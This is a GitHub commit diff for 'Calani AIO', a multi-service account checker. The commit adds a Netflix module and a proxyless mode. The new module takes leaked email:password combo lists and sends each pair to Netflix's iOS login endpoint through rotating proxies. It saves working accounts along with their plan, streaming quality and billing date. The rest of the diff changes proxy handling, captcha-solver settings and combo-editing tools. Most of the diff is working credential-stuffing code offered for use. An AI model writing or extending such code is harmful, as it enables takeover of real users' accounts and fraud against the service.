Skip to content
This repository has been archived by the owner on Feb 23, 2024. It is now read-only.

Commit

Permalink
v1.0.3
Browse files Browse the repository at this point in the history
Added Netflix Module
Added Proxyless Mode
Gui Changes
  • Loading branch information
Mickey758 committed Dec 17, 2022
1 parent 19de264 commit 1d028ad
Show file tree
Hide file tree
Showing 13 changed files with 175 additions and 36 deletions.
3 changes: 2 additions & 1 deletion MODULES.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
# Modules List
### 23 Total Modules
### 24 Total Modules
- Bww [Points Capture | Proxyless]
- Dominos [Points Capture | Recaptcha V3 Bypass]
- Dickeys [Points Capture]
Expand All @@ -14,6 +14,7 @@
- Uplay [Full Capture]
- Origin [Full Capture]
- Steam [Full Capture]
- Netflix [Full Capture]
- Paramount [Full Capture]
- Plextv [Subscription Capture]
- Crunchyroll [Subscription Capture]
Expand Down
6 changes: 5 additions & 1 deletion main.py
Original file line number Diff line number Diff line change
Expand Up @@ -142,7 +142,10 @@ def settings():
[{cyan}5{reset}] Threads : {Checker.threads}
[{cyan}6{reset}] Solver Service : {Checker.solver_serice.title()}
[{cyan}7{reset}] Solver API Key : {Checker.api_key if Checker.api_key else None} | Status: {status}
[{cyan}ENTER{reset}] Reload Config
[{cyan}O{reset}] Open Config File
[{cyan}X{reset}] Back""")
option = input(f" [{cyan}>{reset}] ").lower()
match option:
Expand All @@ -153,6 +156,7 @@ def settings():
case "5": change("threads")
case "6": change("solver_service")
case "7": change("api_key")
case "o": os.startfile(os.path.join(os.getcwd(),'Data/config.json'))
case "x": return

def tools():
Expand Down Expand Up @@ -187,7 +191,7 @@ def tools():
ascii()
print("\n\n")
set_title('Info')
message_box('Creator Info',f'Discord: {discord_name}\nCracked.io: MickeyYe\nGithub: Mickey758\n\nReport Bugs / Request Modules',0)
message_box('Creator Info',f'Discord: {discord_name}\nCracked.io: MickeyYe\nGithub: Mickey758\nDiscord Server: https://discord.gg/PEhWnFcuhq\n\nFeel Free To Report Bugs & Request Modules',0)
need_update = check_updates()
if not need_update: home()
print(f" [{red}>{reset}] Your version is outdated!")
Expand Down
98 changes: 98 additions & 0 deletions modules/checkers/netflix.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
from modules.variables import Checker
from modules.functions import bad_proxy, log, save, set_proxy, return_proxy, get_string
from requests import Session
import functools
from requests.adapters import HTTPAdapter, Retry
from urllib import parse

def check(email:str,password:str):
while 1:
try:
with Session() as s:
proxy = set_proxy()
proxy_set = set_proxy(proxy)

s.request = functools.partial(s.request, timeout=Checker.timeout)
s.proxies.update(proxy_set)
retries = Retry(total=Checker.retries, backoff_factor=0.1)
s.mount('http://', HTTPAdapter(max_retries=retries))
s.mount('https://', HTTPAdapter(max_retries=retries))

KIR = f'NFAPPL-02-IPHONE7=2-{get_string(64)}'
data = parse.quote('{"action":"loginAction","fields":{"userLoginId":"'+email+'","rememberMe":"true","password":"'+password+'"},"verb":"POST","mode":"login","flow":"appleSignUp"}')
payload = 'appInternalVersion=11.44.0&appVersion=11.44.0&callPath=%5B%22moneyball%22%2C%22appleSignUp%22%2C%22next%22%5D&config=%7B%22useSecureImages%22%3Atrue%2C%22billboardTrailerEnabled%22%3A%22false%22%2C%22clipsEnabled%22%3A%22false%22%2C%22titleCapabilityFlattenedShowEnabled%22%3A%22true%22%2C%22seasonRenewalPostPlayEnabled%22%3A%22true%22%2C%22previewsBrandingEnabled%22%3A%22true%22%2C%22aroGalleriesEnabled%22%3A%22true%22%2C%22interactiveFeatureSugarPuffsEnabled%22%3A%22true%22%2C%22showMoreDirectors%22%3Atrue%2C%22searchImageLocalizationFallbackLocales%22%3Atrue%2C%22billboardEnabled%22%3A%22true%22%2C%22searchImageLocalizationOnResultsOnly%22%3A%22false%22%2C%22interactiveFeaturePIBEnabled%22%3A%22true%22%2C%22warmerHasGenres%22%3Atrue%2C%22interactiveFeatureBadgeIconTestEnabled%22%3A%229.57.0%22%2C%22previewsRowEnabled%22%3A%22true%22%2C%22kidsMyListEnabled%22%3A%22true%22%2C%22billboardPredictionEnabled%22%3A%22false%22%2C%22kidsBillboardEnabled%22%3A%22true%22%2C%22characterBarOnPhoneEnabled%22%3A%22false%22%2C%22contentWarningEnabled%22%3A%22true%22%2C%22bigRowEnabled%22%3A%22true%22%2C%22interactiveFeatureAppUpdateDialogueEnabled%22%3A%22false%22%2C%22familiarityUIEnabled%22%3A%22false%22%2C%22bigrowNewUIEnabled%22%3A%22false%22%2C%22interactiveFeatureSugarPuffsPreplayEnabled%22%3A%22true%22%2C%22volatileBillboardEnabled%22%3A%22false%22%2C%22motionCharacterEnabled%22%3A%22true%22%2C%22roarEnabled%22%3A%22true%22%2C%22billboardKidsTrailerEnabled%22%3A%22false%22%2C%22interactiveFeatureBuddyEnabled%22%3A%22true%22%2C%22mobileCollectionsEnabled%22%3A%22false%22%2C%22interactiveFeatureMinecraftEnabled%22%3A%22true%22%2C%22searchImageLocalizationEnabled%22%3A%22false%22%2C%22interactiveFeatureKimmyEnabled%22%3A%22true%22%2C%22interactiveFeatureYouVsWildEnabled%22%3A%22true%22%2C%22interactiveFeatureStretchBreakoutEnabled%22%3A%22true%22%2C%22kidsTrailers%22%3Atrue%7D&device_type=NFAPPL-02-&esn={KIR}&idiom=phone&iosVersion=12.4.3&isTablet=false&kids=false&maxDeviceWidth=375&method=call&model=saget&modelType=IPHONE7-2&odpAware=true&param={DATA}&pathFormat=graph&pixelDensity=2.0&progressive=false&responseFormat=json'.format(KIR=KIR,DATA=data)

r = s.post('https://ios.prod.http1.netflix.com/iosui/user/11.1',
allow_redirects = False,
data = payload,
headers = {
"Host": "ios.prod.ftl.netflix.com" ,
"X-Netflix.Argo.abTests": "" ,
"X-Netflix.client.appVersion": "11.44.0" ,
"Accept": "*/*" ,
"X-Netflix.Argo.NFNSM": "9" ,
"Accept-Language": "en-US;q=1, fa-UK;q=0.9, en-UK;q=0.8, ar-UK;q=0.7" ,
"Accept-Encoding": "gzip, deflate" ,
"X-Netflix.Request.Attempt": "1" ,
"X-Netflix.client.idiom": "phone" ,
"X-Netflix.Request.Routing": "{\"path\":\"/nq/iosui/argo/~11.44.0/user\",\"control_tag\":\"iosui_argo_non_member\"}" ,
"User-Agent": "Argo/11.44.0 (iPhone; iOS 12.4.3; Scale/2.00)" ,
"X-Netflix.client.type": "argo" ,
"Content-Length": f"{len(payload)}" ,
"Content-Type":"application/x-www-form-urlencoded",
"Connection": "close" ,
"X-Netflix.client.iosVersion": "10.3.3" ,
}
)
if any(key in r.text for key in ["\"value\":\"incorrect_password\"},","unrecognized_email_consumption_only","login_error_consumption_only"]):
Checker.bad += 1
return_proxy(proxy)
return
elif any(key in r.text for key in ["never_member_consumption_only","former_member_consumption_only"]):
if not Checker.cui: log("custom",":".join([email,password]),"Netflix")
save("Netflix","custom",Checker.time,":".join([email,password]))
Checker.custom += 1
return_proxy(proxy)
return
elif "memberHome" not in r.text:
raise

r = s.get('https://www.netflix.com/YourAccount',allow_redirects=False,
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" ,
"Accept-Encoding": "gzip, deflate, br" ,
"Accept-Language": "en-US,en;q=0.9" ,
"Connection": "keep-alive" ,
"Host": "www.netflix.com" ,
"Referer": "https://www.netflix.com/browse" ,
"Sec-Fetch-Dest": "document" ,
"Sec-Fetch-Mode": "navigate" ,
"Sec-Fetch-Site": "same-origin" ,
"Sec-Fetch-User": "?1" ,
"Upgrade-Insecure-Requests": "1" ,
"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" ,
}
)

if any(key in r.text for key in ["\"serviceOnHoldForCCFail\":true","\"isHoldPayment\":true","Your membership is paused."]):
if not Checker.cui: log("custom",":".join([email,password]),"Netflix")
save("Netflix","custom",Checker.time,":".join([email,password]))
Checker.custom += 1
return_proxy(proxy)
return

plan = r.text.split("plan-label\"><b>")[1].split("</b>")[0]
quality = r.text.split("\"videoQuality\":{\"fieldType\":\"String\",\"value\":\"")[1].split("\"}")[0]
max_streams = r.text.split("\"maxStreams\":")[2].split(",\"")[0]
billing_date = r.text.split("nextBillingDate\":{\"fieldType\":\"String\",\"value\":\"")[1].split("\"")[0].replace("\\x20",'/')

if not Checker.cui: log("good",':'.join([email,password]),"Netflix")
save("Netflix","good",Checker.time,':'.join([email,password])+f' | Plan: {plan} | Quality: {quality} | Max Streams: {max_streams} | Billing Date: {billing_date}')
Checker.good += 1
return_proxy(proxy)
return

except:
bad_proxy(proxy)
return_proxy(proxy)
Checker.errors += 1
3 changes: 2 additions & 1 deletion modules/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ def load_config():
Checker.api_key = str(data["api_key"])
cui = str(data["print_mode"]).lower()
if Checker.threads <= 0: Checker.threads = 1
if Checker.proxy_type not in ("http","socks4","socks5"): raise
if Checker.proxy_type not in ("http","socks4","socks5","none"): raise
if Checker.solver_serice not in ('2captcha','anycaptcha','anticaptcha'): raise
if cui not in ("log","cui"): raise
Checker.cui = False if cui == "log" else True
Expand Down Expand Up @@ -46,6 +46,7 @@ def change(option:str):
match Checker.proxy_type:
case "socks4": Checker.proxy_type = "socks5"
case "socks5": Checker.proxy_type = "http"
case "http": Checker.proxy_type = "none"
case _: Checker.proxy_type = "socks4"
values["proxy_type"] = Checker.proxy_type
update_config(values)
Expand Down
5 changes: 5 additions & 0 deletions modules/functions.py
Original file line number Diff line number Diff line change
Expand Up @@ -129,6 +129,8 @@ def set_proxy(proxy:str=False):
set_proxy(proxy="127.0.0.1:5000")
"""
if Checker.proxy_type == 'none': return {}

if proxy:
if proxy.count(':') == 3:
host,port,username,password = proxy.split(':')
Expand All @@ -152,17 +154,20 @@ def return_proxy(proxy):
"""
Remove a proxy from the locked proxies pool
"""
if not proxy: return
with Checker.proxy_lock:
if proxy in Checker.locked_proxies: Checker.locked_proxies.remove(proxy)
def lock_proxy(proxy):
"""
Temporarily remove a proxy from the pool to lock to one thread
"""
if not proxy: return
if Checker.lockProxies and proxy not in Checker.locked_proxies: Checker.locked_proxies.append(proxy)
def bad_proxy(proxy):
"""
Temporarily remove a proxy from the pool for being bad
"""
if not proxy: return
if proxy not in Checker.bad_proxies: Checker.bad_proxies.append(proxy)

def get_file(title:str,type:str):
Expand Down
72 changes: 46 additions & 26 deletions modules/start.py
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@
from modules.checkers import dominos
from modules.checkers import dickeys
from modules.checkers import hotspot_shield
from modules.checkers import netflix

modules_list = {
"bww [points capture | proxyless]":bww,
Expand All @@ -43,6 +44,7 @@
"uplay [full capture]":uplay,
"origin [full capture]":origin,
"steam [full capture]":steam,
"netflix [full capture]":netflix,
"paramount [full capture]":paramount,
"plextv [subscription capture]":plextv,
"crunchyroll [subscription capture]":crunchyroll,
Expand All @@ -54,15 +56,15 @@
"hotspot shield [subscription capture]":hotspot_shield,
}

def starter(modules_lst:list):
def starter(selected_modules:list):
"""Starts checking accounts"""
reset_stats()
set_title(f"Calani AIO | Getting Ready | {discord_name}")
def initializeChecker(account:str):
if ':' in account:
email,password = account.split(":",1)
if email and password:
for module in modules_lst:
for module in selected_modules:
modules_list[module].check(email,password)
Checker.cpm += 60
Checker.remaining.remove(account)
Expand Down Expand Up @@ -100,47 +102,65 @@ def initializeChecker(account:str):

print("\n")

print(f" [{cyan}>{reset}] Pick Proxy File")
file_path = get_file("Proxy File",type="Proxy File")
if not file_path:
print(f" [{red}>{reset}] No File Detected")
sleep(1)
return
with open(file_path,errors="ignore") as file:
before_proxies = file.read().splitlines()
after_proxies = list(set(before_proxies))
Checker.proxies = after_proxies
Checker.total_proxies = len(Checker.proxies)
duplicates = len(before_proxies)-len(after_proxies)
if not after_proxies:
print(f" [{red}>{reset}] No Proxies Detected")
sleep(1)
return
print(f" [{cyan}>{reset}] Imported {green}{len(before_proxies)}{reset} Proxies")
if duplicates != 0:
print(f" [{cyan}>{reset}] Removed {green}{duplicates}{reset} Duplicates")
sleep(0.5)
if Checker.proxy_type != 'none':
print(f" [{cyan}>{reset}] Pick Proxy File")
file_path = get_file("Proxy File",type="Proxy File")
if not file_path:
print(f" [{red}>{reset}] No File Detected")
sleep(1)
return
with open(file_path,errors="ignore") as file:
before_proxies = file.read().splitlines()
after_proxies = list(set(before_proxies))
Checker.proxies = after_proxies
Checker.total_proxies = len(Checker.proxies)
duplicates = len(before_proxies)-len(after_proxies)
if not after_proxies:
print(f" [{red}>{reset}] No Proxies Detected")
sleep(1)
return
print(f" [{cyan}>{reset}] Imported {green}{len(before_proxies)}{reset} Proxies")
if duplicates != 0:
print(f" [{cyan}>{reset}] Removed {green}{duplicates}{reset} Duplicates")
sleep(0.5)

Checker.checking = True
Checker.time = get_time()
makedirs(f"Results/{Checker.time}",exist_ok=True)

Thread(target=title,args=(len(modules_lst),),daemon=True).start()
Thread(target=title,args=(len(selected_modules),),daemon=True).start()
Thread(target=level_cpm,daemon=True).start()

clear()
total_modules = len(selected_modules)
if not Checker.cui:
ascii()
print("\n\n")
else: Thread(target=cui,args=(len(modules_lst),),daemon=True).start()
else: Thread(target=cui,args=(total_modules,),daemon=True).start()
if Checker.total_proxies > Checker.threads: Checker.lockProxies = True
mainpool = Pool(processes=Checker.threads)
mainpool.imap_unordered(func=initializeChecker,iterable=Checker.accounts)
mainpool.close()
mainpool.join()
sleep(1)
Checker.checking = False
sleep(0.2)
clear()
ascii()
modules_string = '\n '.join([module.title().split(' ')[0] for module in selected_modules])
print(f"""
[{cyan}{total_modules} Modules{reset}]
{cyan}
{modules_string}
{reset}
{'Hits'.center(11,' ')}{fg(8)}-{reset} {fg(2)}{numerize(Checker.good)}{reset}
{'Custom'.center(11,' ')}{fg(8)}-{reset} {fg(3)}{numerize(Checker.custom)}{reset}
{'Bad'.center(11,' ')}{fg(8)}-{reset} {fg(1)}{numerize(Checker.bad)}{reset}
""")
save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}')
print("\n\n")
print(f" [{cyan}>{reset}] Finished Checking")
print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}")
print(f" [{cyan}>{reset}] Saved to \"{save_path}\"")
input(f" [{cyan}>{reset}] Press Enter To Go Back")
4 changes: 3 additions & 1 deletion modules/tools/capture_remove.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
from modules.variables import Checker
from modules.functions import *
import os

def start():
reset_stats()
Expand Down Expand Up @@ -27,9 +28,10 @@ def start():
sleep(1)
Checker.time = get_time()
edit(after_combos)
save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}')
print("\n\n")
print(f" [{cyan}>{reset}] Finished Removing Capture")
print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}/Capture_Remove.txt")
print(f" [{cyan}>{reset}] Saved to \"{save_path}\\Capture_Remove.txt\"")
input(f" [{cyan}>{reset}] Press Enter To Go Back")
return
def edit(combos):
Expand Down
4 changes: 3 additions & 1 deletion modules/tools/combo_edit.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
from modules.variables import Checker
from modules.functions import *
import os

def start():
reset_stats()
Expand Down Expand Up @@ -27,9 +28,10 @@ def start():
sleep(1)
Checker.time = get_time()
edit(after_combos)
save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}')
print("\n\n")
print(f" [{cyan}>{reset}] Finished Editing Combo")
print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}/Combo_Editor.txt")
print(f" [{cyan}>{reset}] Saved to \"{save_path}\\Combo_Editor.txt\"")
input(f" [{cyan}>{reset}] Press Enter To Go Back")
return
def edit(combos):
Expand Down
4 changes: 3 additions & 1 deletion modules/tools/domain_sort.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
from modules.variables import Checker
from modules.functions import *
import os

def start():
reset_stats()
Expand Down Expand Up @@ -27,9 +28,10 @@ def start():
sleep(1)
Checker.time = get_time()
sort(after_combos)
save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}')
print("\n\n")
print(f" [{cyan}>{reset}] Finished Sorting Domains")
print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}")
print(f" [{cyan}>{reset}] Saved to \"{save_path}\"")
input(f" [{cyan}>{reset}] Press Enter To Go Back")
return
def sort(combos):
Expand Down
4 changes: 3 additions & 1 deletion modules/tools/proxy_check.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
from requests import Session
from requests.adapters import HTTPAdapter, Retry
import functools
import os

def start():
clear()
Expand Down Expand Up @@ -54,8 +55,9 @@ def start():
sleep(1)
Checker.checking = False
print("\n\n")
save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}')
print(f" [{cyan}>{reset}] Finished Checking Proxies")
print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}")
print(f" [{cyan}>{reset}] Saved to \"{save_path}\"")
input(f" [{cyan}>{reset}] Press Enter To Go Back")

def check(proxy:str):
Expand Down
Loading

0 comments on commit 1d028ad

Please sign in to comment.